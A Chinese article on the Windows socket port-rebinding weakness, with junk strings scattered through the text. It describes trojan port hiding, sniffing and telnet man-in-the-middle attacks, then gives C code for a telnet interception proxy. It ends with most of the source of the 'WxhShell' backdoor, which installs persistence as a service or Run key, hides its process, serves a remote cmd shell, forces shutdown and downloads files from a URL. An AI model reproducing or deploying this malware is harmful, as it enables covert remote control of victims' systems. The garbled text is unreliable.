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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8"<!8Img s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xp{gh@#dr N`zHe*=[~ saddr.sin_family = AF_INET; g:2/!tujL mB1)! saddr.sin_addr.s_addr = htonl(INADDR_ANY); rBny*! n CLYcg$V bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y/$SriC_+'
_8S).* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J@Orrz2q# H/L3w|2+ 这意味着什么?意味着可以进行如下的攻击: Z2$-},i +pFz&)? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N7;E 2 X i5AhF\7F9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (=PnLP >Y\4v}- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 st+Kz uK Br yMq ! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ZR#UoYjupb PkVXn
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }F3Z~ :JN3@NsK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /NkZ;<uxJ bX6*/N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KGI]W|T b#y}VY)? #include [2FXs52 #include )Tb;N #include pD>3c9J'^F #include J`x9XWYw DWORD WINAPI ClientThread(LPVOID lpParam); kh5V&%>? int main() d")r^7 { 8WyG49eic WORD wVersionRequested; ##n\9ipD DWORD ret; P,%|(qB WSADATA wsaData; .9ROa#7U;n BOOL val; S3=J1R, SOCKADDR_IN saddr; ,2cw9?< SOCKADDR_IN scaddr; +Rh'VZJs int err; X<?;-HrS; SOCKET s; 5$#<z1M.& SOCKET sc; ZHF@k'vm/9 int caddsize; DMf9wB HANDLE mt; P;y/`_jo DWORD tid; xp&I~YPH wVersionRequested = MAKEWORD( 2, 2 ); 9rid98~d err = WSAStartup( wVersionRequested, &wsaData ); q OXL( if ( err != 0 ) { m0#hG
x printf("error!WSAStartup failed!\n"); w%ip"GT, return -1; 7dakj>JM } C9nNziws saddr.sin_family = AF_INET; z^b\hR x``!t>)O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vIG,!^*3 6S8l saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o _CVZ saddr.sin_port = htons(23); y~d W=zO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r'!l`
gm,S { *CG2sAeB printf("error!socket failed!\n"); Hv=coS>g: return -1; \.{JS>! } YW'Y=* val = TRUE; _9-Ajv //SO_REUSEADDR选项就是可以实现端口重绑定的 ]I]dwi_g) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _<~05Eh { '0=U+Egp printf("error!setsockopt failed!\n"); 4 '+)9&g return -1; ~W#f,mf } $K iMu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7]^Cg;EtM: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *\`C!r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jsG9{/Ov3
[:k'VXL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _m&VdIPO { zZRqb/20 ret=GetLastError(); ysa"f+/ printf("error!bind failed!\n"); 6RF01z|~_ return -1; ENmo^O#,u } e}?t[aK4# listen(s,2); P``hw=L while(1) y#MLxm { a=J?[qrx caddsize = sizeof(scaddr); CVUDN2 //接受连接请求 s,}<5N]U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -Rvxjy)[N if(sc!=INVALID_SOCKET) YU"Am ! { 226s:\d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &l.^UQ if(mt==NULL) @N(jd($E { Dxe|4"%^ printf("Thread Creat Failed!\n"); /}VQzF break; L=p.@VSZ } +-Dd*yD6< } c`>\R<Z ] CloseHandle(mt); xvkof
'Q) } yO6i "3 closesocket(s); wiVQMgi` WSACleanup(); d.+vjMI return 0; XX F9oy8 } A/QVotcU DWORD WINAPI ClientThread(LPVOID lpParam) YOY+z\Q { Cam}:'a/` SOCKET ss = (SOCKET)lpParam; ke%zp-2c SOCKET sc; 4/jY;YN,2 unsigned char buf[4096]; J!H5{7.efN SOCKADDR_IN saddr; \w:u&6,0O long num; (kHR$8GFM DWORD val; j@ "`!uPz DWORD ret; bXW)n<y //如果是隐藏端口应用的话,可以在此处加一些判断 J.&q[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 SUEw5qitB saddr.sin_family = AF_INET; *HC8kD a%$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y1~SGg7(@ saddr.sin_port = htons(23); =j{jylC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H>r-|*n { X=hgLK^3<, printf("error!socket failed!\n"); lVFX@I =pI return -1; ^"Y'zIL } `%Ghtm * val = 100; y"hM6JI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /;0>*ft4 { d{he ret = GetLastError(); TAi\#cnl(6 return -1; E,|n' } <Z;7=k if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w?*KO?K { PYUY bRn ret = GetLastError(); Mz^s^aJEE return -1; |:?.-tq } o
,!"E^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YfalsQ8 { q!TbM" printf("error!socket connect failed!\n"); ~Qsj)9 closesocket(sc); $O>@(K closesocket(ss); Jv<)/Km` return -1; [0LqZ<\5 } %(Ys-GeGr while(1) nsp K.*? { 8.^U6xA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;?!rpj //如果是嗅探内容的话,可以再此处进行内容分析和记录 &>jkfG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C{Ug ?hVP num = recv(ss,buf,4096,0); U{_s1 if(num>0) 7`/qL " send(sc,buf,num,0); CJOl|"UyJ else if(num==0) ]aRD6F:L break; `|w#K28t" num = recv(sc,buf,4096,0); +m.8*^ if(num>0) ) T1oDk send(ss,buf,num,0); J9FNjM[qe else if(num==0) 5jQP"^g break; _pGviGR } ,OCTm%6e closesocket(ss); xdM#>z`; closesocket(sc); hN53= X: return 0 ; h n|E< } #[W[|m UT~2}B9fc !S!03| ========================================================== @qDrTH]5 K)+l 6Q 下边附上一个代码,,WXhSHELL ?GarD3#A #<PdZl R ========================================================== 5Nb_K`Vp* #}(Df& #include "stdafx.h" |w2AB7EU +I n"OR% #include <stdio.h> g)A0PvEu #include <string.h> a~7osRmp0 #include <windows.h> 1.H!A@ #include <winsock2.h> ~BZV:Es #include <winsvc.h> KaE;4gwM #include <urlmon.h> bW^QH-t HdUW(FZ #pragma comment (lib, "Ws2_32.lib") KL mB #pragma comment (lib, "urlmon.lib") BznA)EK?@ grdyiBSVn #define MAX_USER 100 // 最大客户端连接数 -l@W)?$ #define BUF_SOCK 200 // sock buffer b=UMoWS #define KEY_BUFF 255 // 输入 buffer (VAL.v* j2 ^T:q[ #define REBOOT 0 // 重启 BDRVT Y(s #define SHUTDOWN 1 // 关机 Vk_&W.~ t)Q@sKT6 #define DEF_PORT 5000 // 监听端口 Y^Q|l%Qrb ?1:/
6 #define REG_LEN 16 // 注册表键长度 d`<^+p)oy #define SVC_LEN 80 // NT服务名长度 =k=2~
j n E0~Y2 // 从dll定义API 0r ;
nz]' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1GE%5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ><MgIV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gy6qLM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); } !<cph w
a<C*o // wxhshell配置信息 qetP93N_* struct WSCFG { fsc~$^.~\ int ws_port; // 监听端口 DIp:S&q2 char ws_passstr[REG_LEN]; // 口令 wV&f|JO0+ int ws_autoins; // 安装标记, 1=yes 0=no doO
Ap9% char ws_regname[REG_LEN]; // 注册表键名 ]MLLr'6? char ws_svcname[REG_LEN]; // 服务名 y6Epi|8 char ws_svcdisp[SVC_LEN]; // 服务显示名 !K3cf]2UD char ws_svcdesc[SVC_LEN]; // 服务描述信息 (E}cA&{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m'(;uR` int ws_downexe; // 下载执行标记, 1=yes 0=no >X,Ag char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" fEG3b#t N char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;3}EBcw) H
L|spl(c }; eQVPxt2N d3G{0PX // default Wxhshell configuration 50GYL5)q struct WSCFG wscfg={DEF_PORT, )R)$T' "xuhuanlingzhe", e_k
_ty` 1, lhA
s!\F "Wxhshell", 9>&tMq "Wxhshell", FNm6/_u3 "WxhShell Service", XVDd1#h "Wrsky Windows CmdShell Service", iynS4]`U "Please Input Your Password: ", EKd3$(^ 1, hJo^Wo " http://www.wrsky.com/wxhshell.exe", VUC <0WV "Wxhshell.exe" ^GrkIh0nL }; ,Q=)$ `% Eh@T W%9* // 消息定义模块 KCh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mev-M2A char *msg_ws_prompt="\n\r? for help\n\r#>"; Rs F3#H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; G(OT"+O, char *msg_ws_ext="\n\rExit."; nN`Z0? char *msg_ws_end="\n\rQuit."; QYTTP6 Gz+ char *msg_ws_boot="\n\rReboot..."; yEUNkZ5^ char *msg_ws_poff="\n\rShutdown..."; 4%fN\f char *msg_ws_down="\n\rSave to "; y{`(|,[ Ls>u`hG char *msg_ws_err="\n\rErr!"; 8yWu{'G char *msg_ws_ok="\n\rOK!"; +8)]m< 8f,'p}@!d char ExeFile[MAX_PATH]; fAMD2C int nUser = 0; ,B~lwF9 HANDLE handles[MAX_USER]; ;*-@OLT_K int OsIsNt; 45)ogg2 E/7vIg
F SERVICE_STATUS serviceStatus; qbU1qF/ SERVICE_STATUS_HANDLE hServiceStatusHandle; j[/SXF\= ~njbLUB // 函数声明 qHR^0& int Install(void); l!;_lH8W$ int Uninstall(void); F!)M<8jL&9 int DownloadFile(char *sURL, SOCKET wsh); ZcTL#OTP int Boot(int flag); c2/R]%`)9 void HideProc(void); U +*oI * int GetOsVer(void); Z6R:
rq int Wxhshell(SOCKET wsl); xQ#Akd= void TalkWithClient(void *cs); (9KDtr*(2i int CmdShell(SOCKET sock); =(.mf int StartFromService(void); V%BJNJ int StartWxhshell(LPSTR lpCmdLine); 5fegWCJ DN"S, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (K*/Vp VOID WINAPI NTServiceHandler( DWORD fdwControl ); (~G5t(+ Gf
H*,1x // 数据结构和表定义 3|K=%jr[ SERVICE_TABLE_ENTRY DispatchTable[] = Q"_T2fl]vP { QtnM(m {wscfg.ws_svcname, NTServiceMain}, 5%QC
][, {NULL, NULL} 4+5OR&kxZ }; hJ;f1dZ7} s!@=rq // 自我安装 Txt%nzIu int Install(void) AB2mt:^ { :Hzz{' char svExeFile[MAX_PATH]; (:?5 i` HKEY key; pHj[O?F strcpy(svExeFile,ExeFile); nIyROhZ '&-5CpDUs // 如果是win9x系统,修改注册表设为自启动 #QTfT&m+G} if(!OsIsNt) { \!UF|mD^tG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jr,&=C( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DJViy RegCloseKey(key); g[EM]q, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >'} Y1_S5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! fi &@k RegCloseKey(key); 9h:jFhsA9 return 0; lh,ylh } ?iPZsV } A6^p}_ } E!zd( else { %\}dbYS
' ( zn_8s // 如果是NT以上系统,安装为系统服务 5q5 )uv" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q7~'![(a if (schSCManager!=0) Gur8.A;Y { V[o7Jr~ SC_HANDLE schService = CreateService aF&r/j+}o ( SON^CvMs{ schSCManager, cBz!U8( wscfg.ws_svcname, ZnvEv;P wscfg.ws_svcdisp, V!T^wh; SERVICE_ALL_ACCESS, wr$cK'5ZL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _M8G3QOx SERVICE_AUTO_START, T}n N=Q4 SERVICE_ERROR_NORMAL, ^>N8*=y svExeFile, Q`.'-iq NULL, xwTijSj NULL, `z9)YH NULL, LP^p~5Az NULL, "/ tUA\=j NULL wGEWr2$ ); CfPXn0I if (schService!=0) RLdlz { |av*!i5Q CloseServiceHandle(schService); oLgg CloseServiceHandle(schSCManager); &$mZ?%^C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Op`I;Q
#%d strcat(svExeFile,wscfg.ws_svcname); W(;x\Nc7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $|4cJ#;^L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !oZQ2z~ RegCloseKey(key); |-~b$nUe return 0; k2EHco0BG } B#FHf
Z } 9#v-2QY CloseServiceHandle(schSCManager); f ,tW_g } E]?)FH<oP } ppAmN0=G kCj`V2go return 1; N]B)Fb } fNmE,~ S5uJX#*; // 自我卸载 v1LKU int Uninstall(void) `wNm%*g { OENzG~ HKEY key; Y\.-v\uJu Q;4}gUmI$ if(!OsIsNt) { FoE|Js if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xDR9_ RegDeleteValue(key,wscfg.ws_regname); :]vA2 RegCloseKey(key); iV5}U2Vh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rw{$L~\ RegDeleteValue(key,wscfg.ws_regname); IikG/8lP RegCloseKey(key); V?OuIg%=: return 0; {DU"]c/S } q_cC7p6t } ?nQ_w0j } _b>F#nD,'% else { *i@sUM?K
,Z^Ca15z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2zz,(RA if (schSCManager!=0) ? m&IF<b { :.Y|I[\E% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); he"L*p*H if (schService!=0) O/mR9[} { F "!agc2! if(DeleteService(schService)!=0) { \Ke8W,)ew CloseServiceHandle(schService); yH*hL0mO CloseServiceHandle(schSCManager); TYYp"wx return 0; G 0hYFc u } @&;(D!_& CloseServiceHandle(schService); zJ5hvDmC } vkJ)FEar CloseServiceHandle(schSCManager); M)L/d_4ka } Kl{-z X } 2z4<N2!M '!p=aF9L return 1; grr'd+_ e } aSel*
L Re>AsnA[ // 从指定url下载文件 l09Fn>wa int DownloadFile(char *sURL, SOCKET wsh) "u_i[[y { WE0}$P: HRESULT hr; QIQfI05 char seps[]= "/"; 2Zy_5>~ char *token; qpI]R char *file; u#1%P5r&X char myURL[MAX_PATH]; S.{fDcM char myFILE[MAX_PATH]; q(78fZ *X 3QW_k5o strcpy(myURL,sURL); ]fZ<`w8u} token=strtok(myURL,seps); /#f^n]v while(token!=NULL) v,{h: { KF_ ?'X0= file=token; %`e`g ^ token=strtok(NULL,seps); Mi]I:ka } (?vK_{ b(l0js GetCurrentDirectory(MAX_PATH,myFILE); C6|(ktt strcat(myFILE, "\\"); uVGa(4u} strcat(myFILE, file); [& ^RP,N~ send(wsh,myFILE,strlen(myFILE),0); /be=u@KV send(wsh,"...",3,0); n#4Gv|{XMD hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I.1D*!tz if(hr==S_OK) w]nX?S8 return 0; Z&Ue|Z4Qt else +c--&tBo return 1; iwU[6A F?9SiX[\ } Di> rO038 2:Q(Gl`<l // 系统电源模块 ;\qXbL7 int Boot(int flag) P>(P2~$Y" { *:g_'K"+ HANDLE hToken; VevNG* TOKEN_PRIVILEGES tkp; Fi4UaJ3K rFey4zzz if(OsIsNt) { pLnB)z? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *t(4 $ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wO7t!35 tkp.PrivilegeCount = 1; 4 /'N|c. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XV>@B $hu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Xfn@>;3ui if(flag==REBOOT) { }$&xTW_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6V1:qp/6 return 0; $e
}n } l'6d4
DZ else { z\T Lsx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^z~~VBv return 0; +6l]] *H } H=p`T+ } -R0/o7 else { zT[6eZ8m if(flag==REBOOT) { w^HjZV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qqc]aVRF return 0; e4\dpvL } ^2S# Uk else { RNWX.g)b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b*EXIzQ return 0; r8[T&z@_ } GS;%zdH~ } x GH1epf )*|(i] return 1; ut_pHj@ } &^!h}D%T/ 8AL\ST51x" // win9x进程隐藏模块 6ZOy&fd,Ty void HideProc(void) 1$pb (OK { mrM4RoO Qhn;`9+L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fvqd'2 t if ( hKernel != NULL ) })Yv9],6 { P`(Mk6gE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lr~0pL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !l 6dg& FreeLibrary(hKernel); N|K4{Frm } uwmQ?LS]V TTZe$>f return; B{MaMf) } V'pqxjfd </[: 9Cl // 获取操作系统版本 8 lT{1ro int GetOsVer(void) },@``&e { 5M F#&v OSVERSIONINFO winfo; 94/BG0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )8,|-o= GetVersionEx(&winfo); 7K;!iX<d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @?kJ). return 1; )C~9E 5E else Q@S-f:! return 0; $IX\O } O
)d[8jw" 6RoAl$}' // 客户端句柄模块 ru9zTZZD int Wxhshell(SOCKET wsl) vScjq5"p
{ .0p^W9 SOCKET wsh; N|usFqCNk^ struct sockaddr_in client; N( Oyi DWORD myID; "_1)CDqP J G$Z.s while(nUser<MAX_USER) G~,:2
o3 { )[Z!*a m int nSize=sizeof(client); lioc`C: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dw6 fmyJ: if(wsh==INVALID_SOCKET) return 1; E4z)Mr# 6.WceWBR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r!
%;R?c if(handles[nUser]==0) |nUl\WRd\ closesocket(wsh); %aRT>_6" else WXw}^v nUser++; GVGlVAo|@ } B1!kn}KlL{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x;s0j"`Jb lLhL`C! return 0; QzvHm1,@ } #xh_ q5DEw&UZJ // 关闭 socket H`9Uf) void CloseIt(SOCKET wsh) ~f\G68c { O+q/4 closesocket(wsh); 88s/Q0l nUser--; 8'
DW#% ExitThread(0); [iP#VM-N } Of,2Q#oji ^h' Sla // 客户端请求句柄 $g0+,ll[6 void TalkWithClient(void *cs) ]=pR { S$,'Q^~K u\yVR$pQ SOCKET wsh=(SOCKET)cs; w;6bD'.>; char pwd[SVC_LEN]; Lh.b5Q| char cmd[KEY_BUFF]; M5357Q char chr[1]; g4p int i,j; ]}|byo SRIA*M.B} while (nUser < MAX_USER) { ypOLp SYk ^TY;Zp if(wscfg.ws_passstr) { "Jq8?FoT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 46@{5)Tq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `F YjQe"p //ZeroMemory(pwd,KEY_BUFF); m0n)dje i=0; r0;:t while(i<SVC_LEN) { YyAJ m^o "TyJP[/ // 设置超时 u$#Wv2| mk fd_set FdRead; q[q?hQ/b struct timeval TimeOut; B%CTOi FD_ZERO(&FdRead); CAq/K?:8 FD_SET(wsh,&FdRead); S-Y=-" TimeOut.tv_sec=8; f5AjJYq1 TimeOut.tv_usec=0; ^zzP. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {%lXY Myu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W]M)Q}:Y Mips.Bx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D"(L5jR8m@ pwd =chr[0]; g[RI.&? if(chr[0]==0xd || chr[0]==0xa) { S{pXs&4O pwd=0; ~c^>54 break; U4f5xUY0) } V&8VwF^- i++; klg25 #t } gxz-R?. m7a#qs;, // 如果是非法用户,关闭 socket h,aA w#NE* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ryF7 } f"7O "6 xsd_Uu* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ( wDm*bZ* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {'?)FX*W 0.T4{JS# while(1) { u0aJu lO&3{dOYE ZeroMemory(cmd,KEY_BUFF); 4#x5MM $3`>{3x$ // 自动支持客户端 telnet标准 ;<yd^Xs j=0; 'o|30LzYgQ while(j<KEY_BUFF) { b2aF 'y/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aRG2@5 cmd[j]=chr[0]; p&+;w if(chr[0]==0xa || chr[0]==0xd) { 5^']+5_vb cmd[j]=0; *.L81er5~ break; kt`nbm|aw } ];.pK j++; '!l1=cZD } 4wC+S9I#E^ d
;vT ~; // 下载文件 6"Bic rY if(strstr(cmd,"http://")) { $o$
maA0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); d>;&9;)H if(DownloadFile(cmd,wsh)) 2gO2jJlv send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZ Aij else z<H~ItX,n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HGm 3+, } 6qcO?U else { @-UL`+ .>Ljnk switch(cmd[0]) { ^Wxad?@ >:D
j\"o // 帮助 ]|`Cuc case '?': { *`ZH` V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q _-7i break; Q+g!V5' } b
Q]/?cCYV // 安装 (Qa/EkE^*w case 'i': { Cmc3k,t if(Install()) foJdu+^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \
[a%('} else sR/b$j>i3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O'Js} break; W6On93sa } 9Xx's%U // 卸载 m(pE5B( case 'r': { ()~pY!)1/ if(Uninstall()) 7S?4XyU/o send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[Z?& else `rf_7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +$oF]OO break; ]\7]%( } z5)s/;Sc // 显示 wxhshell 所在路径 .'Y]R3\M+ case 'p': { 31/Edd"] char svExeFile[MAX_PATH]; ^ f# FI& strcpy(svExeFile,"\n\r"); os/vtyP:a strcat(svExeFile,ExeFile); [IK ) send(wsh,svExeFile,strlen(svExeFile),0); R: l&2k@ break; V}\~ugN)y } @}u9Rn*d; // 重启 Pp )3(T: case 'b': { ?O>V%@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <=f}8a.R3 if(Boot(REBOOT)) 9K9DF1SOa send(wsh,msg_ws_err,strlen(msg_ws_err),0); =i~}84> else { a'z) closesocket(wsh); +nJUFc ExitThread(0); lo[.&GD }
foQ#a break; 6`f2-f9%iq } ">#wOm+ + // 关机 ,yd?gP-O case 'd': { E9~Ghx. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 33!oS&L if(Boot(SHUTDOWN)) o7|eMe?<t send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]xuG&O"SBV else { 0qX3v<+[6 closesocket(wsh); Th=eNL] ExitThread(0); OF\rgz } L'u\w break; 2Lx3=[ik } aG^4BpIP // 获取shell iezO9` case 's': { gG/!,Q.Qh CmdShell(wsh); fMOU$0]$< closesocket(wsh); R~Ne|V2 ExitThread(0); k1QpKn* break; fl\ly`_ } #-bA[eQV // 退出 `QXErw case 'x': { g1jTy7g? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Q\3pI. | CloseIt(wsh); 7D<#(CE{ break; ]MxC_V+P` } {7)st
W // 离开 Z,=7Tu bR# case 'q': { Y 'ow send(wsh,msg_ws_end,strlen(msg_ws_end),0); '#k0a,<N closesocket(wsh); aoXb2 2]{ WSACleanup(); ;Rv!k&Df exit(1); X-wf:h?i break; 8O38#{[S } kkQVNphc } [D!jv" } ~c&bH]cj bFW =ylF9 // 提示信息 @7B$Yy# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .C--gQpIv } (;q;E\Ejq } zzyHoZJP rnF/H=I/ return; p>upA)W] } d!$Z(W0 7k rUKYVo // shell模块句柄 _]Zs,Hy int CmdShell(SOCKET sock) q#s,-u u { !TUrQ STARTUPINFO si; ,gS;m
&!'J ZeroMemory(&si,sizeof(si)); m&?#;J|B$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +u3=dj"[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h-%R<[ PROCESS_INFORMATION ProcessInfo; t]YC"%[S char cmdline[]="cmd"; 0|a(]a}V*j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v-PXZ'7~ return 0; {|'E } ZSG9t2qlv \ioH\9 // 自身启动模式 `|/<\ int StartFromService(void) (Tbw3ENz { MgY0q?.S= typedef struct `5C,N!d8X { og
kD^ DWORD ExitStatus; dUQDOo DWORD PebBaseAddress; t{.8|d@
DWORD AffinityMask; D}mjN=Y DWORD BasePriority; "OdXY"G ULONG UniqueProcessId; WS`qVL]^& ULONG InheritedFromUniqueProcessId; 'L8'
'(eZ^ } PROCESS_BASIC_INFORMATION; }&[ i(NdGL#P PROCNTQSIP NtQueryInformationProcess; fP.
